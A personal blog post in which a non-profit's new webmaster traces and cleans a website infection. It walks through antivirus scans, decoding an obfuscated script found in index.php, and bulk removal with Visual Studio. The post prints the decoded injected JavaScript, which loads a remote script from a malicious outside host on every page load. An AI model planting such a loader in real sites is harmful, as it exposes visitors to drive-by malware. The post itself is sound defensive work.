Website Virus Detection

Today, I officially become the webmaster of a non-profit organization. Their website was shut down by the hosting company, because they found malware or virus on the website.

This is actually the first time I encountered such an issue. We called the hosting company, and asked them if they knew where the virus was from, and how we got infected? The technical support person told us that the virus was detected by their system, but they don’t know where exactly it was. He mentioned a few common issues they knew, such as a change of the .htaccess file, an iframe added to one of our pages, or a SQL injection into our database, and suggested us to download the code and scan it through an Anti-Virus software.

The first thing I did is checking the .htaccess, and I only find code to redirect the site to the generic access denied page from the hosting site. I guessed if there were any malicious code in that file, it has been cleaned, which is good over all, but not good for tracing the virus.

Next, I downloaded the site, and ran it through Norton Anti-Virus first, but I found nothing. I ran it through another software called MalwareBytes’ Anti-Malware, hoping to find a malware, for which the name of the software suggested that it’s good. I found nothing either.

I searched google using key word “Website, Virus”, and find a link about website being attacked by having java scripts inserted into each page, that calls a php page from another website. I tried to find out if it’s the same senario for our website by searching “http://” on all of our pages, and I found all references valid.

It’s been two hours and I’m still in a middle of nowhere, and I found the following piece of code at the end of our index.php file. I copied the code to a note pad and here’s a screenshot of it.

It’s really hard to figure out what it does, but when code is written in such a bad format, it can’t be anything good. I copied the code into a script editor, and tried to decode it. I slowed figured out that there is a function O(Cp, I) defined in this spagetti code, that is used to encode strings. I wrote a separate java script to get all the variables assigned by function O, and O yeah, I decoded the following words:

appendChild
/autohome.com.cn/autohome.com.cn/39.net/google.com/btjunkie.org.php
8080
body
createElement
http: //sun-com.ifolder.ru.fanpop-com.cybertagonline.ru:
setAttribute
onload

In the end, it’s not hard to figure out what it was doing.

/*
window["onload"] = function()
{
    var element = document.createElement("script");
    element.src = "http://sun-com.ifolder.ru.fanpop-com.cybertagonline.ru:8080/autohome.com.cn/autohome.com.cn/39.net/google.com/btjunkie.org.php";
    element.setAttribute("defer", "1");
    document.body.appendChild(element);

};
*/

It’s loading a php page from a Russian webiste whenever the home page of this organization is visited. I detected three files that have the code inserted. I still need to do a compare of the site with an old version before I request the site to be restored.

I still need to find out how the code was able to be inserted into our pages, and mend the security flaws if there are any, but so far, I think I really deserve some beers.

————– 3/29/2010 Update —————–

The code was inserted into every index.php file and every .js file on the site. First I tried to delete them manually, but the script still popped up when I visited a certain page. I read through the code, and found a sub folder used by a third party component that has about 10 subfolders in it, and within each there are 3 to 10 javascripts. There’s no way I could clean them all by hand, so I downloaded all code to my local machine, and decided to do a bulk replacement by Microsoft Visual Studio. (Yeah, mostly I’m a .NET guy, and I know this is an overkill.) Here are the procedures:

1. File -> Open -> Website, and on the popped up File System screen, select the root folder of the affected website.
2. Visual Studio will ask you whether you want to convert the website to a newer .NET version. Select No, cause we don’t want to compile it in.NET at all.
3. Edit -> Find and Replace ->Replace in Files, put in the malicious script in Find What text box, leave Replace With text box empty, and select Entire Solution.
4. Click Replace All button, Visual Studio will do all the dirty job for you.
5. After it’s done, save all files. You probably want to test everything on your local machine, and upload the site after everything worked fine.

I only use gPHPEdit and BlueFish in Linux for PHP editing, and neither can do what I did with Visual Studio, so I can’t comment on what tools you can use to do bulk replacement, but I’m sure the ones that you can use to create a project should have the Replace All in Project feature.

Fight the Virus, and happy coding!